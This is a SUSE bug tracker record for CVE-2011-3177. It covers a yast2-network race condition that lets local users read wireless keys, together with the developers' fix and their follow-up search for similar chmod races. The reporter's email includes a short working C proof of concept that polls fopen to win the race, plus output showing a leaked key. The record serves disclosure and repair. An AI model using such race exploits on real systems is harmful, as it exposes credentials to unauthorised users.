Bug 713661 (CVE-2011-3177) - VUL-1: CVE-2011-3177: yast2-network: race condition allows reading keys by any local user
Summary: VUL-1: CVE-2011-3177: yast2-network: race condition allows reading keys by an...
Status: RESOLVED FIXED
Alias: CVE-2011-3177
Product: SUSE Security Incidents
Classification: Novell Products
Component: General (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Major
Target Milestone: ---
Deadline: 2012-04-06
Assignee: Martin Vidner
QA Contact: Security Team bot
URL:
Whiteboard: maint:planned:update
Keywords:
Depends on:
Blocks:
 
Reported: 2011-08-23 08:45 UTC by Thomas Biege
Modified: 2021-02-26 20:31 UTC (History)
4 users (show)

See Also:
Found By: Development
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Thomas Biege 2011-08-23 08:45:40 UTC
Hi.
There is a security bug in package 'yast2-network'.

This bug is public.

There is no coordinated release date (CRD) set.


Original posting:


=2D---------  Weitergeleitete Nachricht  ----------

Betreff: [security@suse.de] minor security problem in YaST
Datum: Montag, 22. August 2011, 13:43:41
Von: Justus Winter <winter@pre-sense.de>
An:  security@suse.de

Hey everyone,

I found a problem in YaST that allows an unprivileged user to
retrieve key material from the network configuration.

NetworkInterfaces.ycp/Write() creates the configuration file(s) and
changes the permissions of any file containing sensitive information to
0600. Any local user can race against this and read the content of the
file.

Exploiting this is surprisingly reliable, probably due to the fact that
all configuration files are updated before the file permissions are
changed, the high cost of

SCR::Execute(.target.bash, "/bin/chmod 0600 " + file);

just to do an chmod(2) or the execution speed of the ycp interpreter.

The attached program demonstrates the problem:

$ ./race-for-ifcfg /etc/sysconfig/network/ifcfg-wlan0
Got handle...
BOOTPROTO='none'
[...]
WIRELESS_KEY_0='h:aaaaaaaaaaaaaaaa'
[...]
$ ls -l /etc/sysconfig/network/ifcfg-wlan0
=2Drw------- 1 root root 791 Aug 22 12:06 /etc/sysconfig/network/ifcfg-wlan0

This problem is present in the svn head of YaST.

Cheers,
Justus
=2D-=20
Justus Winter                               winter@pre-sense.de

PRESENSE Technologies GmbH            Sachsenstr. 5, D-20097 HH
                                         USt-IdNr.: DE263765024
Gesch=E4ftsf=FChrer/Managing Directors       AG Hamburg, HRB 107844
Till D=F6rges           J=FCrgen Sander              Axel Theilmann


#include <stdio.h>
#include <time.h>

int
main(int argc, char **argv)
{
    FILE *handle;
    char buffer[1000];
    size_t length;
    while (!(handle = fopen(argv[1], "r")));
    fprintf(stderr, "Got handle...\n");
    sleep(1);
    length = fread(buffer, 1, sizeof buffer - 1, handle);
    fwrite(buffer, 1, length, stdout);
    return 0;
}
Comment 1 Martin Vidner 2011-10-11 09:38:53 UTC
Yes.
I will extend the interface of the ini-agent to set the file mode before its contents are written.

A quick grep for 'chmod' in an incomplete checkout of yast reveals similar bugs in
Kiwi.ycp (yast2-product-creator.rpm)
IscsiClientLib.ycp
Provider.ycp (yast2-network)
...
TODO: do a scan of the complete fresh checkout
TODO: Fix another common suspect: .target.string, filename, contents
(probably extend filename to be a pair of filename, filemode)
Comment 2 Thomas Biege 2011-10-17 07:33:25 UTC
CVE-2011-3177
Comment 3 Martin Vidner 2011-11-08 15:54:52 UTC
submitted to SP2:

 new API:
RPM: yast2-core-2.17.41
SVN: http://svn.opensuse.org/viewvc/yast?view=revision&revision=66761 to
     http://svn.opensuse.org/viewvc/yast?view=revision&revision=66764
IBS: https://build.suse.de/request/show/16267

 using it:
RPM: yast2-2.17.117
SVN: http://svn.opensuse.org/viewvc/yast?view=revision&revision=66766
IBS: https://build.suse.de/request/show/16268

I have tested manually by creating a wireless ifcfg in yast2 lan and checking that the file has permissions 600 afterwards.
Comment 4 Martin Vidner 2011-11-08 15:56:24 UTC
Please give me a SWAMP ID.

The bug is quite old so probably all our products are affected.
Comment 8 Martin Vidner 2012-01-05 15:50:34 UTC
The SRs in comment 3 had been rejected because of bnc#728950. It is fixed now, the new packages for SP2 are:

RPM: yast2-core-2.17.43
IBS: https://build.suse.de/request/show/17095

RPM: yast2-2.17.118
IBS: https://build.suse.de/request/show/17096
Comment 10 Bernhard Wiedemann 2012-01-06 15:00:22 UTC
This is an autogenerated message for OBS integration:
This bug (713661) was mentioned in
https://build.opensuse.org/request/show/99260 Factory / yast2-core
Comment 11 Bernhard Wiedemann 2012-01-06 16:00:34 UTC
This is an autogenerated message for OBS integration:
This bug (713661) was mentioned in
https://build.opensuse.org/request/show/99267 Factory / yast2
Comment 12 Swamp Workflow Management 2012-03-08 23:43:43 UTC
The SWAMPID for this issue is 45972.
This issue was rated as low.
Please submit fixed packages until 2012-04-06.
Also create a patchinfo file using this link:
https://swamp.suse.de/webswamp/wf/45972
Comment 13 Martin Vidner 2012-03-14 10:33:23 UTC
(In reply to comment #1)
> A quick grep for 'chmod' in an incomplete checkout of yast reveals similar bugs
> in
> Kiwi.ycp (yast2-product-creator.rpm)
> IscsiClientLib.ycp
> Provider.ycp (yast2-network)

Regarding Provider.ycp in yast2-network.rpm: it performs chown root, chmod 700,
on /etc/sysconfig/network/providers only after writing files there, which
leaves a window of vulnerability.
BUT that directory has those permissions+owner to start with, from
filesystem.rpm

Therefore it is not necessary to release an update (swamp 45972) for this, only
to clean up the code in trunk.
Comment 14 Martin Vidner 2012-03-14 11:05:16 UTC
> only to clean up the code in trunk [for opensuse 12.2]
http://svn.opensuse.org/viewvc/yast?view=revision&revision=67623

Still to do: 
> Kiwi.ycp (yast2-product-creator.rpm)
> IscsiClientLib.ycp
I'll open separate reports for them.
Comment 15 Martin Vidner 2012-03-20 16:39:53 UTC
Fix for the origial report: comment 8.

Per comment 13 I am removing "maint:running:45972:low maint:planned:update".

Filed:
bnc#753127 for Kiwi
bnc#753129 for IscsiClientLib

So closing.
Comment 16 Bernhard Wiedemann 2012-04-10 15:00:20 UTC
This is an autogenerated message for OBS integration:
This bug (713661) was mentioned in
https://build.opensuse.org/request/show/113115 Factory / yast2-network